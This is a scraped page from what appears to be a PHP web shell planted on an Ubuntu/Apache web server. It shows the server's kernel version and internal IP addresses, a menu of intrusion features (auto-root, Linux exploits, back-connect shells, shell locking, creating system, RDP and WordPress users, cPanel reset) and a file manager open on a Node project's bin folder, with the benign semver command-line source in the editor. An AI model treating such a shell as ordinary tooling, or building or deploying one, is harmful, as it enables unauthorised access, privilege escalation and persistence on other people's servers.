Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
.bin /
[ HOME SHELL ]
Name
Size
Permission
Action
acorn
60
B
-rwxrwxr-x
atob
122
B
-rwxrwxr-x
autoprefixer
554
B
-rwxrwxr-x
blessed
301
B
-rwxrwxr-x
browserslist
4.25
KB
-rwxrwxr-x
cssesc
3.03
KB
-rwxrwxr-x
escodegen
2.65
KB
-rwxrwxr-x
esgenerate
2.36
KB
-rwxrwxr-x
eslint
5.33
KB
-rwxrwxr-x
esparse
4.83
KB
-rwxrwxr-x
esvalidate
7.56
KB
-rwxrwxr-x
flatiron
598
B
-rwxrwxr-x
forever
60
B
-rwxrwxr-x
jiti
386
B
-rwxrwxr-x
js-yaml
2.67
KB
-rwxrwxr-x
json5
2.17
KB
-rwxrwxr-x
loose-envify
356
B
-rwxrwxr-x
mkdirp
731
B
-rwxrwxr-x
n
49.97
KB
-rwxrwxr-x
nanoid
1.1
KB
-rwxrwxr-x
ncp
1.06
KB
-rwxrwxr-x
needle
1.04
KB
-rwxrwxr-x
next
5.87
KB
-rwxrwxr-x
node
93.47
MB
-rwxrwxr-x
node-gyp-build
1.99
KB
-rwxrwxr-x
node-gyp-build-optional
143
B
-rwxrwxr-x
node-gyp-build-test
398
B
-rwxrwxr-x
node-which
985
B
-rwxrwxr-x
pm2
56
B
-rwxrwxr-x
pm2-dev
59
B
-rwxrwxr-x
pm2-docker
67
B
-rwxrwxr-x
pm2-runtime
67
B
-rwxrwxr-x
prettyjson
1.74
KB
-rwxrwxr-x
ps-tree
257
B
-rwxrwxr-x
resolve
1.5
KB
-rwxrwxr-x
rimraf
1.83
KB
-rwxrwxr-x
semver
4.71
KB
-rwxrwxr-x
sucrase
55
B
-rwxrwxr-x
sucrase-node
623
B
-rwxrwxr-x
systeminformation
3.96
KB
-rwxrwxr-x
tailwind
148
B
-rwxrwxr-x
tailwindcss
148
B
-rwxrwxr-x
tsc
45
B
-rwxrwxr-x
tsserver
50
B
-rwxrwxr-x
update-browserslist-db
912
B
-rwxrwxr-x
uuid
44
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : semver
#!/usr/bin/env node // Standalone semver comparison program. // Exits successfully and prints matching version(s) if // any supplied version is valid and passes all tests. const argv = process.argv.slice(2) let versions = [] const range = [] let inc = null const version = require('../package.json').version let loose = false let includePrerelease = false let coerce = false let rtl = false let identifier let identifierBase const semver = require('../') const parseOptions = require('../internal/parse-options') let reverse = false let options = {} const main = () => { if (!argv.length) { return help() } while (argv.length) { let a = argv.shift() const indexOfEqualSign = a.indexOf('=') if (indexOfEqualSign !== -1) { const value = a.slice(indexOfEqualSign + 1) a = a.slice(0, indexOfEqualSign) argv.unshift(value) } switch (a) { case '-rv': case '-rev': case '--rev': case '--reverse': reverse = true break case '-l': case '--loose': loose = true break case '-p': case '--include-prerelease': includePrerelease = true break case '-v': case '--version': versions.push(argv.shift()) break case '-i': case '--inc': case '--increment': switch (argv[0]) { case 'major': case 'minor': case 'patch': case 'prerelease': case 'premajor': case 'preminor': case 'prepatch': inc = argv.shift() break default: inc = 'patch' break } break case '--preid': identifier = argv.shift() break case '-r': case '--range': range.push(argv.shift()) break case '-n': identifierBase = argv.shift() if (identifierBase === 'false') { identifierBase = false } break case '-c': case '--coerce': coerce = true break case '--rtl': rtl = true break case '--ltr': rtl = false break case '-h': case '--help': case '-?': return help() default: versions.push(a) break } } options = parseOptions({ loose, includePrerelease, rtl }) versions = versions.map((v) => { return coerce ? (semver.coerce(v, options) || { version: v }).version : v }).filter((v) => { return semver.valid(v) }) if (!versions.length) { return fail() } if (inc && (versions.length !== 1 || range.length)) { return failInc() } for (let i = 0, l = range.length; i < l; i++) { versions = versions.filter((v) => { return semver.satisfies(v, range[i], options) }) if (!versions.length) { return fail() } } return success(versions) } const failInc = () => { console.error('--inc can only be used on a single version with no range') fail() } const fail = () => process.exit(1) const success = () => { const compare = reverse ? 'rcompare' : 'compare' versions.sort((a, b) => { return semver[compare](a, b, options) }).map((v) => { return semver.clean(v, options) }).map((v) => { return inc ? semver.inc(v, inc, options, identifier, identifierBase) : v }).forEach((v, i, _) => { console.log(v) }) } const help = () => console.log( `SemVer ${version} A JavaScript implementation of the https://semver.org/ specification Copyright Isaac Z. Schlueter Usage: semver [options] <version> [<version> [...]] Prints valid versions sorted by SemVer precedence Options: -r --range <range> Print versions that match the specified range. -i --increment [<level>] Increment a version by the specified level. Level can be one of: major, minor, patch, premajor, preminor, prepatch, or prerelease. Default level is 'patch'. Only one version may be specified. --preid <identifier> Identifier to be used to prefix premajor, preminor, prepatch or prerelease version increments. -l --loose Interpret versions and ranges loosely -p --include-prerelease Always include prerelease versions in range matching -c --coerce Coerce a string into SemVer if possible (does not imply --loose) --rtl Coerce version strings right to left --ltr Coerce version strings left to right (default) -n <base> Base number to be used for the prerelease identifier. Can be either 0 or 1, or false to omit the number altogether. Defaults to 0. Program exits successfully if any valid version satisfies all supplied ranges, and prints all satisfying versions. If no satisfying versions are found, then exits failure. Versions are printed in ascending order, so supplying multiple versions to the utility will just sort them.`) main()
Close